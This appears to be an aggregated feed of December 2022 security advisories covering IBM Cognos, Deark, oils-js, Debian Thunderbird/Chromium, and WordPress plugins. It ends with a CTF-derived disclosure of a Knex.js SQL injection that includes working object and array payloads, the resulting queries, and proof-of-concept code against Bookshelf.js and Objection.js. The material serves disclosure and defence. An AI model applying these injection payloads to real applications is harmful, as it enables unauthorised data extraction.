IBM Cognos Analytics 11.1.7, 11.2.0, and 11.2.1 could be vulnerable to sensitive information exposure by passing API keys to log files. If these keys contain sensitive information, it could lead to further attacks. IBM X-Force ID: 240450.

**Security Bulletin**

  

**Summary**

Security vulnerabilities have been addressed in IBM Cognos Analytics 11.2.4. These vulnerabilities have also been previously addressed in IBM Cognos Analytics 11.1.7 FP6 where applicable. The following 3rd party components are used by IBM Cognos Analytics: Apache Calcite is a Java-based framework that provides a SQL query engine for processing queries in storage engines (CVE-2022-36364). Google Gson is a Java library that serializes Java objects to JSON and vice versa (CVE-2022-25647). Node.js Redis is a Redis client which provides methods to retrieve and store data (CVE-2021-29469). Faster-XML Jackson is a JSON to Java object conversion API (CVE-2022-42003, CVE-2022-42004). Server-Side Request Forgery (SSRF), Cross-Site Scripting (XSS), Log Injection and Information Disclosure vulnerabilities have also been addressed (CVE-2022-38708, CVE-2022-43887, CVE-2022-43883, CVE-2022-39160).

**Vulnerability Details**

**CVEID:**   CVE-2022-36364  
**DESCRIPTION:**   Apache Calcite Avatica could allow a remote attacker to execute arbitrary code on the system, caused by a flaw in the JDBC driver. By sending a specially-crafted request, an attacker could exploit this vulnerability to execute arbitrary code on the system.  
CVSS Base score: 9.8  
CVSS Temporal Score: See: https://exchange.xforce.ibmcloud.com/vulnerabilities/232360 for the current score.  
CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

**CVEID:**   CVE-2022-38708  
**DESCRIPTION:**   IBM Cognos Analytics could be vulnerable to a Server-Side Request Forgery Attack (SSRF) attack by constucting URLs from user-controlled data . This could enable attackers to make arbitrary requests to the internal network or to the local file system.  
CVSS Base score: 6.5  
CVSS Temporal Score: See: https://exchange.xforce.ibmcloud.com/vulnerabilities/234180 for the current score.  
CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N)

**CVEID:**   CVE-2022-43887  
**DESCRIPTION:**   IBM Cognos Analytics could be vulnerable to sensitive information exposure by passing API keys to log files. If these keys contain sensitive information, it could lead to further attacks.  
CVSS Base score: 5.3  
CVSS Temporal Score: See: https://exchange.xforce.ibmcloud.com/vulnerabilities/240450 for the current score.  
CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)

**CVEID:**   CVE-2022-43883  
**DESCRIPTION:**   IBM Cognos Analytics could be vulnerable to a Log Injection attack by constructing URLs from user-controlled data. This could enable attackers to make arbitrary requests to the internal network or to the local file system.  
CVSS Base score: 6.5  
CVSS Temporal Score: See: https://exchange.xforce.ibmcloud.com/vulnerabilities/240266 for the current score.  
CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N)

**CVEID:**   CVE-2022-25647  
**DESCRIPTION:**   Google Gson is vulnerable to a denial of service, caused by the deserialization of untrusted data. By using the writeReplace() method, a remote attacker could exploit this vulnerability to cause a denial of service.  
CVSS Base score: 7.7  
CVSS Temporal Score: See: https://exchange.xforce.ibmcloud.com/vulnerabilities/217225 for the current score.  
CVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:H)

**CVEID:**   CVE-2021-29469  
**DESCRIPTION:**   Node Redis redis module for Node.js is vulnerable to a denial of service, caused by a regular expression denial of service flaw in monitor mode. By sending specially-crafted regex input, a remote authenticated attacker could exploit this vulnerability to cause a denial of service condition.  
CVSS Base score: 5.3  
CVSS Temporal Score: See: https://exchange.xforce.ibmcloud.com/vulnerabilities/200618 for the current score.  
CVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H)

**CVEID:**   CVE-2022-39160  
**DESCRIPTION:**   IBM Cognos Analytics is vulnerable to cross-site scripting. This vulnerability allows users to embed arbitrary JavaScript code in the Web UI thus altering the intended functionality potentially leading to credentials disclosure within a trusted session.  
CVSS Base score: 6.1  
CVSS Temporal Score: See: https://exchange.xforce.ibmcloud.com/vulnerabilities/235064 for the current score.  
CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)

**CVEID:**   CVE-2022-42004  
**DESCRIPTION:**   FasterXML jackson-databind is vulnerable to a denial of service, caused by a lack of a check in in the BeanDeserializer.\_deserializeFromArray function. By sending a specially-crafted request using deeply nested arrays, a local attacker could exploit this vulnerability to exhaust all available resources.  
CVSS Base score: 6.2  
CVSS Temporal Score: See: https://exchange.xforce.ibmcloud.com/vulnerabilities/237660 for the current score.  
CVSS Vector: (CVSS:3.0/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)

**CVEID:**   CVE-2022-42003  
**DESCRIPTION:**   FasterXML jackson-databind is vulnerable to a denial of service, caused by a lack of a check in the primitive value deserializers when the UNWRAP\_SINGLE\_VALUE\_ARRAYS feature is enabled. By sending a specially-crafted request using deep wrapper array nesting, a local attacker could exploit this vulnerability to exhaust all available resources.  
CVSS Base score: 6.2  
CVSS Temporal Score: See: https://exchange.xforce.ibmcloud.com/vulnerabilities/237662 for the current score.  
CVSS Vector: (CVSS:3.0/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)

**Affected Products and Versions**

**Affected Product(s)**

**Version(s)**

IBM Cognos Analytics

11.2.x

IBM Cognos Analytics

11.1.x

**Remediation/Fixes**

IBM strongly recommends addressing the vulnerability now by upgrading.

**Workarounds and Mitigations**

None

**References**

Off

**Acknowledgement**

**Change History**

16 December 2022: Initial Publication

\*The CVSS Environment Score is customer environment specific and will ultimately impact the Overall CVSS Score. Customers can evaluate the impact of this vulnerability in their environments by accessing the links in the Reference section of this Security Bulletin.

**Disclaimer**

According to the Forum of Incident Response and Security Teams (FIRST), the Common Vulnerability Scoring System (CVSS) is an "industry open standard designed to convey vulnerability severity and help to determine urgency and priority of response." IBM PROVIDES THE CVSS SCORES ""AS IS"" WITHOUT WARRANTY OF ANY KIND, INCLUDING THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. CUSTOMERS ARE RESPONSIBLE FOR ASSESSING THE IMPACT OF ANY ACTUAL OR POTENTIAL SECURITY VULNERABILITY. In addition to other efforts to address potential vulnerabilities, IBM periodically updates the record of components contained in our product offerings. As part of that effort, if IBM identifies previously unidentified packages in a product/service inventory, we address relevant vulnerabilities regardless of CVE date. Inclusion of an older CVEID does not demonstrate that the referenced product has been used by IBM since that date, nor that IBM was aware of a vulnerability as of that date. We are making clients aware of relevant vulnerabilities as we become aware of them. "Affected Products and Versions" referenced in IBM Security Bulletins are intended to be only products and versions that are supported by IBM and have not passed their end-of-support or warranty date. Thus, failure to reference unsupported or extended-support products and versions in this Security Bulletin does not constitute a determination by IBM that they are unaffected by the vulnerability. Reference to one or more unsupported versions in this Security Bulletin shall not create an obligation for IBM to provide fixes for any unsupported or extended-support products or versions.

**Document Location**

Worldwide

\[{"Business Unit":{"code":"BU059","label":"IBM Software w\\/o TPS"},"Product":{"code":"SSTSF6","label":"IBM Cognos Analytics"},"Component":"","Platform":\[{"code":"PF025","label":"Platform Independent"}\],"Version":"11.2.1, 11.2.0, 11.1.7","Edition":"","Line of Business":{"code":"LOB10","label":"Data and AI"}}\]

CVE-2022-43887: Security Bulletin: IBM Cognos Analytics has addressed multiple vulnerabilities (CVE-2021-29469, CVE-2022-39160, CVE-2022-38708, CVE-2022-42003, CVE-2022-42004, CVE-2022-43883, CVE-2022-43887, CVE-2022

Deark v.1.6.2 was discovered to contain a stack overflow via the do_prism_read_palette() function at /modules/atari-img.c.

**Description**

A stack-buffer-overflow bug was discovered in function do\_prism\_read\_palette modules/atari-img.c:331

**Version**

Version v1.6.2 (Lastest commit)

**Environment**

Ubuntu 18.04, 64bit

**Reproduce**

Command

    git clone the Lastest Version firstly.
    make && make install
    ./deark -l -zip ./poc
    

POC file at the bottom of this report.

**ASAN Report**

    Module: prismpaint
    =================================================================
    ==20784==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffc6490a820 at pc 0x55eae0de20ff bp 0x7ffc6490a390 sp 0x7ffc6490a380
    READ of size 4 at 0x7ffc6490a820 thread T0
        #0 0x55eae0de20fe in do_prism_read_palette modules/atari-img.c:331
        #1 0x55eae0de247e in de_run_prismpaint modules/atari-img.c:361
        #2 0x55eae0fd7023 in de_run_module src/deark-util.c:878
        #3 0x55eae0fd7023 in de_run_module src/deark-util.c:843
        #4 0x55eae1036a35 in de_run src/deark-user.c:452
        #5 0x55eae0dc39e9 in main2 src/deark-cmd.c:988
        #6 0x55eae0dc39e9 in main src/deark-cmd.c:1022
        #7 0x7fd587ac4082 in __libc_start_main ../csu/libc-start.c:308
        #8 0x55eae0dc652d in _start (/AFLplusplus/my_test/deark/backup/asan/deark-master/deark+0xf652d)
    
    Address 0x7ffc6490a820 is located in stack of thread T0 at offset 1056 in frame
        #0 0x55eae0de1c7f in do_prism_read_palette modules/atari-img.c:304
    
      This frame has 2 object(s):
        [32, 1056) 'pal1' (line 308) <== Memory access at offset 1056 overflows this variable
        [1184, 1216) 'tmps' (line 310)
    HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
          (longjmp and C++ exceptions *are* supported)
    SUMMARY: AddressSanitizer: stack-buffer-overflow modules/atari-img.c:331 in do_prism_read_palette
    Shadow bytes around the buggy address:
      0x10000c9194b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x10000c9194c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x10000c9194d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x10000c9194e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x10000c9194f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    =>0x10000c919500: 00 00 00 00[f2]f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2
      0x10000c919510: f2 f2 f2 f2 00 00 00 00 f3 f3 f3 f3 00 00 00 00
      0x10000c919520: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x10000c919530: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x10000c919540: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x10000c919550: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    Shadow byte legend (one shadow byte represents 8 application bytes):
      Addressable:           00
      Partially addressable: 01 02 03 04 05 06 07 
      Heap left redzone:       fa
      Freed heap region:       fd
      Stack left redzone:      f1
      Stack mid redzone:       f2
      Stack right redzone:     f3
      Stack after return:      f5
      Stack use after scope:   f8
      Global redzone:          f9
      Global init order:       f6
      Poisoned by user:        f7
      Container overflow:      fc
      Array cookie:            ac
      Intra object redzone:    bb
      ASan internal:           fe
      Left alloca redzone:     ca
      Right alloca redzone:    cb
      Shadow gap:              cc
    
    

**POC**

id\_000027,sig\_11,src\_013544+002505,time\_31840218,execs\_68965869,op\_splice,rep\_16.zip

Any issue plz contact with me:  
asteriska001@gmail.com  
OR:  
twitter: @Asteriska8

CVE-2022-43289: A stack-buffer-overflow bug was discovered. · Issue #52 · jsummers/deark

A vulnerability was found in oils-js. This vulnerability affects unknown code of the file core/Web.js. The manipulation leads to open redirect. The attack can be initiated remotely. The name of the patch is fad8fbae824a7d367dacb90d56cb02c5cb999d42. It is recommended to apply a patch to fix this issue. 

**Oils JS vulnerable to Open Redirect**

Moderate severity GitHub Reviewed Published Dec 19, 2022 • Updated Dec 19, 2022

GHSA-v279-v2xm-whq9: Oils JS vulnerable to Open Redirect

The Videojs HTML5 Player WordPress plugin before 1.1.9 does not validate and escape some of its shortcode attributes before outputting them back in the page, which could allow users with a role as low as contributor to perform Stored Cross-Site Scripting attacks

CVE-2022-3985

A vulnerability was found in oils-js. It has been declared as critical. This vulnerability affects unknown code of the file core/Web.js. The manipulation leads to open redirect. The attack can be initiated remotely. The name of the patch is fad8fbae824a7d367dacb90d56cb02c5cb999d42. It is recommended to apply a patch to fix this issue. The identifier of this vulnerability is VDB-216268.

@@ -122,6 +122,9 @@ class Web {

}

  

this.app \= express();

  

fixOpenRedirect(this);

  

this.events \= {};

this.modelCache \= new Object();

this.plugins \= \[\];

@@ -763,6 +766,42 @@ function defaultRedirectToHttpsMiddleware(req, res) {

res.end();

}

  

function fixOpenRedirect(web) {

// Fix for open redirect security

let redirectSafe \= web.app.response.redirect;

web.app.response.redirectSafe \= function(url) {

return redirectSafe.call(this, url);

}

  

var addHostOnceFlag \= true;

  

web.app.response.redirect \= function(url) {

  

if (url.indexOf('://') != \-1) {

  

let req \= this.req;

  

if (addHostOnceFlag) {

var host \= req.protocol + '://' + req.headers.host;

web.conf.allowedRedirectHosts.push(host);

addHostOnceFlag \= false;

console.log("Added host once: " + host);

}

  

const found \= web.conf.allowedRedirectHosts.find(el \=> url.indexOf(el) \== 0);

  

if (!found) {

var ip \= web.utils.getClientIp(req);

  

console.warn("Open redirect was triggered: ", req.method, req.user ? req.user.email : "unsigned user", ip, "accessed", req.url, req.headers\['user-agent'\]);

throw new Error("Action not allowed.");

}

  

}

return redirectSafe.call(this, url);

}

}

  

  

function startServer(web, cb) {

CVE-2021-4260: Framework fix for open redirect vulnerability · mannyvergel/oils-js@fad8fba

The Photo Gallery by 10Web WordPress plugin before 1.8.3 does not validate and escape some parameters before outputting them back in in JS code later on in another page, which could lead to Stored XSS issue when an attacker makes a logged in admin open a malicious URL or page under their control.

CVE-2022-4058

Debian Linux Security Advisory 5303-1 - Multiple security issues were discovered in Thunderbird, which could result in the execution of arbitrary code or information disclosure.

    -----BEGIN PGP SIGNED MESSAGE-----Hash: SHA512- -------------------------------------------------------------------------Debian Security Advisory DSA-5303-1                   security@debian.orghttps://www.debian.org/security/                       Moritz MuehlenhoffDecember 16, 2022                     https://www.debian.org/security/faq- -------------------------------------------------------------------------Package        : thunderbirdCVE ID         : CVE-2022-46882 CVE-2022-46881 CVE-2022-46880 CVE-2022-46878                 CVE-2022-46874 CVE-2022-46872 CVE-2022-45414Multiple security issues were discovered in Thunderbird, which couldresult in the execution of arbitrary code or information disclosure.For the stable distribution (bullseye), this problem has been fixed inversion 1:102.6.0-1~deb11u1.We recommend that you upgrade your thunderbird packages.For the detailed security status of thunderbird please refer toits security tracker page at:https://security-tracker.debian.org/tracker/thunderbirdFurther information about Debian Security Advisories, how to applythese updates to your system and frequently asked questions can befound at: https://www.debian.org/security/Mailing list: debian-security-announce@lists.debian.org-----BEGIN PGP SIGNATURE-----iQIzBAEBCgAdFiEEtuYvPRKsOElcDakFEMKTtsN8TjYFAmOcwVkACgkQEMKTtsN8TjYhNA//e9mQQto3dcqum+DpkqlxnQ0oJZW90A4qnpdorbSH6AuQodiaMXYrhZ1y7LaCCZd2LgxwIOoW5ukYto7TGGWA+bU8VtdivVKEVJ52dwyzFhp1PMhn81Lr+DRgNf9vYTGO3MYnThKckNhkGPN2qQtxABoBA+opJJIFq7yJW34NEhhWNoH0ubGmCie/13l5msZmN1pYALhsDs1Li7yotVtIRU6r5/t4BUwI0hyfLaR0HDcpeT8iAnyuedMcXF+jFF0B8HQfkakNOc4fODcpiNVW6FAezRPprCTCqpuIr8Ic7yrYWYlAjayLRBbp277JXESFk16Oao/OR0Qf4SpfhDCw3IZwG6A0De4e7nVxunIkjShU9tfzjx5LPeiGqQkXiS2abklARfRUqFeqPFQJbF+CA7lHZiCWm/LXtOjArkIvZ7j1BNcdPmhe/OAJ04zi1j2aKxNxvKAwBK065N1pSn9iS9zvGva7rcenKYnd8kkdExHSnWCCuo79otgKWQ6az/zIdfwY8MU7xxCo04pNnBH+fUAk4sDZGzjfebuqWuUZQ6KK1uo0w6Ji10zriQ2bJ94eYuptBEZttovyjj7SbOAuAB2zpchHT2TlifpgoTmywRNsMceqDNvzbgTCwMEP30TYXOyiunxOs2AgL/6hFAfZ3oTfpxqjuscKCkfi1pwaYjM=YY+h-----END PGP SIGNATURE-----

Debian Security Advisory 5303-1

Debian Linux Security Advisory 5302-1 - Multiple security issues were discovered in Chromium, which could result in the execution of arbitrary code, denial of service or information disclosure.

    -----BEGIN PGP SIGNED MESSAGE-----Hash: SHA512- -------------------------------------------------------------------------Debian Security Advisory DSA-5302-1                   security@debian.orghttps://www.debian.org/security/                       Moritz MuehlenhoffDecember 16, 2022                     https://www.debian.org/security/faq- -------------------------------------------------------------------------Package        : chromiumCVE ID         : CVE-2022-4436 CVE-2022-4437 CVE-2022-4438 CVE-2022-4439                 CVE-2022-4440Multiple security issues were discovered in Chromium, which could resultin the execution of arbitrary code, denial of service or informationdisclosure.For the stable distribution (bullseye), these problems have been fixed inversion 108.0.5359.124-1~deb11u1.We recommend that you upgrade your chromium packages.For the detailed security status of chromium please refer toits security tracker page at:https://security-tracker.debian.org/tracker/chromiumFurther information about Debian Security Advisories, how to applythese updates to your system and frequently asked questions can befound at: https://www.debian.org/security/Mailing list: debian-security-announce@lists.debian.org-----BEGIN PGP SIGNATURE-----iQIzBAEBCgAdFiEEtuYvPRKsOElcDakFEMKTtsN8TjYFAmOcwUwACgkQEMKTtsN8TjaEDhAAuNgbC9i9I5soJN7677urAmv/mzR20/hpcEx4WlrS5YlCMBISsolvytNClMnzfVIe8e0akdshGTtGmehUco7gxXRq7Ab+kCDMFgXrPCf+SDXFbECLR/xtrTGuahzPmrDBwz/5O3gOFcJaEhXoLUER1Xm2UX8MgMlV/pfv8UN0keXriJSS/nWVU5sp8UCfafYxa/cNB51k7VmQTEDL56zcE64zZxXmmfNDvNv9/FHiMHZyATZv499nfEVaI0qvLot/trilA2X6/Wn5aFJD7cRk7PWJR6fzMs36Ad4E9Ww5/mDy6ADKORyRhiHbpw+wRCgs253pkDvwExVTwu2BGsXp9ThnVIHRXflN0GaixsDUryA3x0IRCTiWpNU+armowtAS7I31kht91uPhJaaK3DoB/xgqRbNBHeZnl8NqAaf76ODSGAbjcoUxLXrEb+zD9dLbFuDnfapfeqKCDuZAkeBv9k9etvMTuBTb4KjvA/OfhFTYpF8EJ2+o4RTBqf2vNlEWhSLqXY/ehr6LygFnHlBnrR+SQPUfEQywHEMRa+4DqyWtf25mZKkVl1AdhMqXBF6Rsht0UBOUu2M2g4NOtk/1S34EhPeEhZLSh+Z3XhoIj/UfQLcOgMEQCBHuz1S5tXyLqQCwbpi/Pm+lSI99fPooTH5UoJpDj2cGygXfNysjKq0=kfqY-----END PGP SIGNATURE-----

Debian Security Advisory 5302-1

Knex Knex.js through 2.3.0 has a limited SQL injection vulnerability that can be exploited to ignore the WHERE clause of a SQL query.

**Knex.js has a limited SQL injection vulnerability**

Moderate severity GitHub Reviewed Published Dec 19, 2022 • Updated Dec 20, 2022

GHSA-4jv9-3563-23j3: Knex.js has a limited SQL injection vulnerability

**Overview**

Knex.js has a **limited SQL injection vulnerability** that can be exploited to ignore the 
  WHERE
  clause of a SQL query. The only prerequisite is that the backend database management system is MySQL. The vulnerability was brought to my attention by Alok Menghrajani's CTF challenge called xark
   during SquareCTF 2022 , that showcased the SQLi vulnerability that was first reported 6+ years ago . In Alok's CTF challenge, the latest version of Knex.js was used (version 2.3.0 at the time of writing this article) and the vulnerable code snippet is shown below.

app.post('/data',async(req,res)=>{
if(req.body.to){
constcrushes=awaitknex('crushes')
.select()
.where({
to:req.body.to
})
.limit(50);
res.send(crushes);
}else{
res.status(400).send({});
}
});

The following screenshot was my payload that I used to exploit the SQLi vulnerability in 
  xark
  to modify the 
  WHERE
  statement to query using a column called 
  message
  by setting the type to an 
  Object
  . **Knex.js does not reject 
   Objects
   or 
   Array
   variables that get inserted into SQL queries and results in a valid MySQL query!**

Otherwise, if the column is set as an index the following SQLi payload returns rows by index value instead of string comparison.

**After further investigating the vulnerability I found that using 
   where
   from Knex.js is vulnerable to SQLi, even with parameter binding!**

This vulnerability affects thousands of NodeJS packages that do not reject 
  Object
  and 
  Array
  column values and use 
  knex
  to build SQL queries.

**Table of Contents**

*   Overview
*   Table of Contents
*   Introduction
*   Explaining the SQLi Vulnerability
    *   Writeup for xark
    *   How does the vulnerability work?
        *   How SQLi Using a Different Column Works
        *   SQLi Using Index Value
    *   Binding Parameters Does Not Prevent the SQLi
*   Impact to Other NodeJS Packages
*   Recommendations
*   Acknowledgements

**Introduction**

_Before I begin, I do apologise for any grammar mistakes. I had COVID at the time of writing this article and I will fix it up later._

Last weekend, I participated in the 2022 Square CTF to satiate my crippling addiction hacking websites. It was a pretty fun CTF event and I enjoyed completing the web challenges.

Alok Menghrajani's challenge named xark piqued my interest since it was a classic NodeJS SQL injection vulnerability, _but the code did not look it was using 
   knex
   insecurely (code snippet below)_ .

app.post('/data',async(req,res)=>{
if(req.body.to){
constcrushes=awaitknex('crushes')
.select()
.where({
to:req.body.to
})
.limit(50);
res.send(crushes);
}else{
res.status(400).send({});
}
});

Knex.js version 2.3.0 was used in the challenge that was the latest version for the module, and the last SQL injection vulnerability for 
   knex
   was reported for versions 
   <0.19.5
   .

At first, I thought Alok snuck in a sneaky 0day into their CTF challenge. However, it turns out the vulnerability has been disclosed for **over 6 years** ...

_The vulnerability was first disclosed in February 2016_  

I felt compelled to write this article to raise awareness about the SQLi vulnerability in Knex.js. The vulnerability has already been publicly disclosed, so attention needs to be drawn to it to have it fixed. That's why I am skipping responsibly disclosing the vulnerability and going straight to public disclosure.

**Explaining the SQLi Vulnerability****Writeup for xark**

To explain the SQLi vulnerability in Knex.js, I will begin by doing a writeup for Alok's 
  xark
  challenge.

Starting the challenge, we are presented with a website for recording and viewing _anonymous crushes_ .

We were also provided with the following code snippet and can see the flag is inserted into the 
  crushes
  table.

**Source Code Provided with the Challenged**

constexpress=require('express');
require('express-async-errors');
config=require('config');

if(process.env.DATABASE_HOST!==null){
console.log(`Found custom database host: ${process.env.DATABASE_HOST}`);
config.knex.connection.host=process.env.DATABASE_HOST;
}

constapp=express();
constport=3001;
constknex=require('knex')(config.get('knex'));

knex.schema.hasTable('crushes').then(function(exists){
if(!exists){
console.log("crushes table doesn't exist, initializing...");
knex.schema.createTable('crushes',function(table){
table.increments('id').primary();
table.string('from').notNullable();
table.string('to').notNullable();
table.string('message').notNullable();
table.index(['to']);
}).then();
knex('crushes').insert({
from:config.init.flag,
to:config.init.flag,
message:'This is the flag!',
}).then();
}
});

app.use(express.static('html'));
app.use(express.json());
app.use(express.urlencoded({
extended:false
}));

app.get('/debug',async(req,res)=>{
// poor man's clone
constc=JSON.parse(JSON.stringify(config.get('knex')));
if(c.connection.password){
c.connection.password="*******";
}
res.status(200).send(c);
})

app.post('/record',async(req,res)=>{
if(req.body.from&&req.body.to&&req.body.message){
awaitknex('crushes').insert({
from:req.body.from,
to:req.body.to,
message:req.body.message,
});
res.status(200).send({});
}else{
res.status(400).send({});
}
});

app.post('/data',async(req,res)=>{
if(req.body.to){
constcrushes=awaitknex('crushes')
.select()
.where({
to:req.body.to
})
.limit(50);
res.send(crushes);
}else{
res.status(400).send({});
}
});

app.use((err,req,res,next)=>{
console.error(err);
res.status(400).send({
error:err.message
});
});

app.listen(port,()=>{
console.log(`Listening on port ${port} in ${process.env.NODE_ENV}`);
});

So immediately I knew the goal was to exploit an SQL injection vulnerability to trick the web application to return the flag. First I researched vulnerabilities for Knex.js, but found that the last SQLi vulnerability was for versions 
  <0.19.5
  . So at first I thought the entrypoint was not exploiting Knex.js.

However, the CTF challenge had such limited functionality the only way to retrieve the flag is exploiting some SQLi vulnerability in Knex.js. I saw that the 
  express
  web application also accepted the 
  application/json
  content type, so I simply tried modify the 
  to
  POST parameter to an 
  Object
  .

That error message was a **huge indicator that I could do something funky with the filter in the 
   WHERE
   clause** . I knew from reading the source code that the flag was another column named 
  message
  , so I simply modified my payload to try querying using 
  message
  column instead of 
  to
  .

_Wot..._

After the CTF event was done, another competitor pointed out that you can also return a specific rows by index.

**How does the vulnerability work?**

As noted in the original Github issue , the vulnerability is only exploitable if Knex.js is used to connect to MySQL and is not exploitable for other database management systems ( _I have not verified this claim_ ).

So let's see what the actual queries look like that is being sent to the MySQL database. I will continue using the 
  xark
  challenge for explaining how the SQLi vulnerability in Knex.js works. First you can configure the MySQL container to log all queries to a file do this by running the following script on the container.

#!/bin/bash

mkdir -p /var/log/mysql;
if [ ! -f /var/log/mysql/all.log ]; then
    touch /var/log/mysql/all.log
fi

chmod 777 /var/log/mysql/all.log
mysql -u root -ppass -e "SET global log_output = 'FILE'; SET global general_log_file='/var/log/mysql/all.log'; SET global general_log = 1;"

Now all SQL queries will be logged at 
  /var/log/mysql/all.log
  .

**How SQLi Using a Different Column Works**

Let's rerun the 
  {"to":{"message":"This is the flag!"}}
  exploit and see the following query that is sent to the MySQL server.

select*from`crushes`where`to`=`message`='This is the flag!'limit50

Keys in the user input are wrapped with the 
  `
  character, which is a special character for defining quoted identifiers in MySQL queries. A quoted identifier is a way for wrapping a table, column or database name with quotes. Now the interesting thing with MySQL, is if you remove the quoted identifiers the query fails.

_Why does this MySQL query work with the quoted identifiers?_

To be honest, I don't have a good answer. I speculate it is because the quoted identifiers tells the MySQL server that 
  `to`
  and 
  `message`
  are column names, and since the 
  crushes
  table has those columns it does not cause an SQL error. Also experimenting with how MySQL will handle the SQL query, it appears that the MySQL server behaves _weirdly_ when a filter has multiple 
  =
  characters. For the 
  xark
  challenge I found that the first row is returned, but when I tested using a different script then the entire table was dumped. If you have a good explaination for this, please let me know.

**SQLi Using Index Value**

Now let's investigate how the payload 
  {"to":[0]}
  works by analysing the resulting query that Knex.js builds.

select*from`crushes`where`to`=0limit50

We can see in the source code for 
  xark
  that the the table index is set to the 
  to
  column.

...
knex.schema.createTable('crushes',function(table){
table.increments('id').primary();
table.string('from').notNullable();
table.string('to').notNullable();
table.string('message').notNullable();
table.index(['to']);
}).then();
...

Since the 
  to
  column is also the table index, we can query the 
  to
  column using **index values** as well as the string value.

It appears that Knex.js does _some filtering_ on the user input. So payloads such as 
  {"to":[0]}
  are rejected and trying to query for multiple index values causes a SQL syntax error.

**Binding Parameters Does Not Prevent the SQLi**

Alok's 
  xark
  challenge and the original Github issue all use the object syntax for calling 
   where
   . There other methods for calling 
  where
  that weren't tested ( screenshot of the API documentation from Knex.js ).

So I decided to modify source code of 
  xark
  to test if the SQLi vulnerability is only exploitable if the input is an object or if the 
  where
  method is vulnerable to SQLi no matter how 
  where
  is used.

_Testing key value input_

app.post('/data',async(req,res)=>{
if(req.body.to){
constcrushes=awaitknex('crushes')
.select()
.where("to",req.body.to)
.limit(50);
res.send(crushes);
}else{
res.status(400).send({});
}
});

_Testing using key value and operator_

app.post('/data',async(req,res)=>{
if(req.body.to){
constcrushes=awaitknex('crushes')
.select()
.where("to","=",req.body.to)
.limit(50);
res.send(crushes);
}else{
res.status(400).send({});
}
});

However, I was still able to exploit the SQLi vulnerability.

Therefore, using 
  where
  from Knex.js is vulnerable to SQLi.

It did pique my interest if Knex.js does implement parameter binding that _should_ prevent the SQLi vulnerabilities, because if so then this vulnerability would be an issue of bad documentation for explaining how to use Knex.js securely.

Turns out you can use parameter binding using 
   raw
   . They even say in the documentation that it prevents SQLi (screenshot below).

So let's see if I can still exploit the SQLi vulnerability even with prepared statements.

_Testing using prepared statements_

app.post('/data',async(req,res)=>{
if(req.body.to){
constcrushes=awaitknex('crushes')
.select()
.where(
knex.raw("?? = ?",["to",req.body.to])
)
.limit(50);
res.send(crushes);
}else{
res.status(400).send({});
}
});

_This is still vulnerable to SQLi..._

I even tried the following implementation to see if it would prevent SQLi. **It didn't...**

app.post('/data',async(req,res)=>{
if(req.body.to){
constwhereStatement=":column: = :value"
constcrushes=awaitknex('crushes')
.select()
.where(knex.raw(
whereStatement,{
column:"to",
value:req.body.to
}
))
.limit(50);
res.send(crushes);
}else{
res.status(400).send({});
}
});

The only implementation that I found that was not exploitable was when the column name was hardcoded into the query string.

_Causes an SQL syntax error since the column name is not wrapped with quoted identifiers._

app.post('/data',async(req,res)=>{
if(req.body.to){
constcrushes=awaitknex('crushes')
.select()
.where(
knex.raw("to = ?",[req.body.to])
)
.limit(50);
res.send(crushes);
}else{
res.status(400).send({});
}
});

In conclusion...

**Knex.js is vulnerable to SQLi even if you use the raw parameter binding!**

**Impact to Other NodeJS Packages**

Knex.js is a tool for NodeJS developers to easily build SQL queries for multiple DBMS and the responsibility for security is also on those developers to ensure that they are securely using Knex.js.

**This leads to the next question, are NodeJS Object Relational Mappers (ORM) securely using Knex.js?**

In collaboration with Alok and my friend sradley , we tested the following NodeJS ORMs and found that most were vulnerable to the SQLi vulnerability.

ORM Package

Version

Is Currently Maintained

Vulnerable to SQLi

Bookshelf.js

v1.2.0

False

**TRUE**

Objection.js

v3.0.1

False

**TRUE**

mikro-orm

v5.5.3

True

False

For each of the tests, we had already created a table called 
  users
  with the following rows.

     name
    

     secret
    

admin

you should not be able to return this!

guest

hello world

**Confirming the Vulnerability in Bookshelf.js**

constknex=require('knex')({
client:'mysql2',
connection:{
host:'127.0.0.1',
user:'root',
password:'topsecret',
database:'testdb',
charset:'utf8'
}
})

constbookshelf=require('bookshelf')(knex)

constUser=bookshelf.model('User',{
tableName:'users'
})

newUser({secret:{"name":"admin"}}).fetch().then((user)=>{
console.log(user)
})
**Confirming the Vulnerability in Objection.js**

const{Model}=require('objection');
constknex=require('knex')({
client:'mysql2',
connection:{
host:'127.0.0.1',
user:'root',
password:'topsecret',
database:'testdb',
charset:'utf8'
}
})

Model.knex(knex)

classUserextendsModel{
staticgettableName(){
return'users'
}
}

User.query()
.where({secret:{"name":"admin"}})
.then((user)=>console.log(user))

The above approaches provides an easy way to test if you are securely handling 
  Objects
  while using Knex.js.

**Recommendations**

The key issue that enables exploiting the SQLi vulnerability is that Knex.js does not reject an input if it is an **Array**
   or an **Object**
